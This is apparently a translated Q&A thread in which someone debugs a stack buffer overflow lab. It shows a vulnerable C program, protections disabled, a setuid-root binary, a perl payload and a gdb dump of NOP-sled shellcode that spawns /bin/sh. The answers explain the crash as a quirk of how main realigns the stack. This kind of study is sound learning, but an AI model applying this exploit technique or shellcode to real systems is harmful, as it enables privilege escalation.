我使用下面的代码尝试通过溢出searchstring变量来执行存储在环境变量中的一些shellcode,以便main的返回地址包含环境变量的地址。但是,我在printf命令之前遇到了分段错误。
#include <stdio.h>
#include <string.h>
void main(int argc, char *argv[]){
char searchstring[100];
if(argc > 1)
strcpy(searchstring, argv[1]);
else // otherwise
searchstring[0] = 0;
printf("Here");
}
我使用
编译代码gcc -m32 -g -o overflow.o overflow.c -fno-stack-protector -z execstack
为了禁用堆栈保护程序并使堆栈可执行。我还通过修改/ proc / sys / kernel / randomize_va_space来包含0来禁用ASLR。我还将所有者和组更改为root:
sudo chown root:root overflow.o
sudo chmod u+s overflow.o
环境变量在shellcode之前包含一个NOP底座,我确定地址0xffffd910位于NOP底座的中间。因此我使用
运行程序./overflow.o $(perl -e 'print "\x10\xd9\xff\xff"x40')
但看到分段错误。
使用gdb我在main上设置断点,然后逐步执行指令。 seg错误发生在到达printf命令之前,并且在seg错误之后立即检查堆栈指针和指令指针我看到了
(gdb) x/32x $esp
0xffffd910: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd920: 0x90909090 0x90909090 0x90909090 0x90909090
0xffffd930: 0x90909090 0x90909090 0xdb31c031 0xb099c931
0xffffd940: 0x6a80cda4 0x6851580b 0x68732f2f 0x69622f68
0xffffd950: 0x51e3896e 0x8953e289 0x0080cde1 0x4d524554
0xffffd960: 0x6574783d 0x53006d72 0x4c4c4548 0x69622f3d
0xffffd970: 0x61622f6e 0x58006873 0x4d5f4d44 0x47414e41
0xffffd980: 0x6d3d4445 0x6f687465 0x6c633d64 0x69737361
(gdb) x/x $eip
0x90909090: Cannot access memory at address 0x90909090
检查main的堆栈帧(之前找到的地址为0xffffd460)确认地址0xffffd910确实被复制到searchstring中:
(gdb) x/32x 0xffffd460
0xffffd460: 0xffffd49f 0xffffd49e 0xffffd590 0xffffd910
0xffffd470: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd480: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd490: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4a0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4b0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4c0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
0xffffd4d0: 0xffffd910 0xffffd910 0xffffd910 0xffffd910
我不明白为什么堆栈指针和指令指针跳转到这些位置,即使main还没有完成执行?另外,为什么指令指针跳转到0x90909090而不是0xffffd910?这是导致分段错误的原因,还是一些我不知道的堆栈保护?
我意识到这是一个人为的例子,但我只是想知道发生了什么。
谢谢!
答案 0 :(得分:2)
在查看汇编程序代码之后,我已经知道发生了什么。代码的最后3行是
0x08048485 <+59>: mov ecx,DWORD PTR [ebp-0x4]
0x08048488 <+62>: leave
0x08048489 <+63>: lea esp,[ecx-0x4]
0x0804848c <+66>: ret
溢出searchstring变量会导致ebp-0x4中的数据被环境变量(0xffffd910)中NOP底座中间的地址覆盖。因此,上面的第1行留下了存储在ecx中的0xffffd910。
这意味着在上面的第3行中,ecx-0x4 = 0xffffd910 - 0x4 = 0xffff90c,并且该地址存储在esp中。存储在该地址的数据是0x90909090(因为我们仍然在NOP雪橇的中途)。最后,在上面的最后一行中,这个数据作为main()的返回地址从堆栈中弹出,这就是为什么我们最终得到eip = 0x90909090,并且弹出操作意味着esp被移回到0xffff90c + 0x4 = 0xffffd910。
我的错误一直是假设main()函数的行为与返回地址相同。 C没有&#34;返回地址&#34; - 这些是实现细节 - 在我的Arch Linux机器上使用gcc-multilib 4.9.2-1,这就是它的实现方式。
答案 1 :(得分:1)
esp指向你的shellcode是如此奇怪。打印“\ x10 \ xd9 \ xff \ xff”是环境变量的地址吗?
它会导致段错误,因为当执行RET时它会执行POP%eip,但你的%esp指向0x90909090,但当然你无法访问这个地址。